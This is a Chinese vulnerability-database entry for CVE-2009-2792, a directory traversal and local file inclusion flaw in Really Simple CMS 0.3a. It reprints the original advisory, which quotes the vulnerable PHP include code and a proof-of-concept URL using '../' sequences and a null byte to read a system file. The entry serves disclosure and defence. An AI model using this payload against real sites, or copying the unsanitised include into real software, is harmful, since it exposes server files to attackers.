Really Simple CMS 'plugings/pagecontent.php'目录遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1118216 漏洞类型 路径遍历
发布时间 2009-07-30 更新时间 2009-07-30
CVE编号 CVE-2009-2792 CNNVD-ID CNNVD-200908-209
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/9313
https://www.securityfocus.com/bid/43309
https://cxsecurity.com/issue/WLB-2009080147
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200908-209
|漏洞详情
ReallySimpleCMS(RSCMS)0.3a版本中的plugings/pagecontent.php存在目录遍历漏洞。远程攻击者可以借助PT参数中的"..",放入和运行任意的本地文件。
|漏洞EXP
###########################################################################################
[+] Really Simple CMS 0.3a (pagecontent.php PT) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Download : http://sourceforge.net/projects/rscms/

[+] Local File Inclusion

 - Vulnerable code in plugings/pagecontent.php

-----------------------------------
if (!$PT) {
	$PT = 'text';
}
$PTF = "plugings/";
$PTF .= $PT;
$PTF .= ".php";


require_once($PTF);
-----------------------------------

 - PoC

    http://127.0.0.1/[path]/plugings/pagecontent.php?PT=../../../../../../../boot.ini%00

############################################################################################

# milw0rm.com [2009-07-30]
|受影响的产品
Really Simple CMS Really Simple CMS 0.3A
|参考资料

来源:XF
名称:reallysimple-pagecontent-file-include(52159)
链接:http://xforce.iss.net/xforce/xfdb/52159
来源:MILW0RM
名称:9313
链接:http://www.milw0rm.com/exploits/9313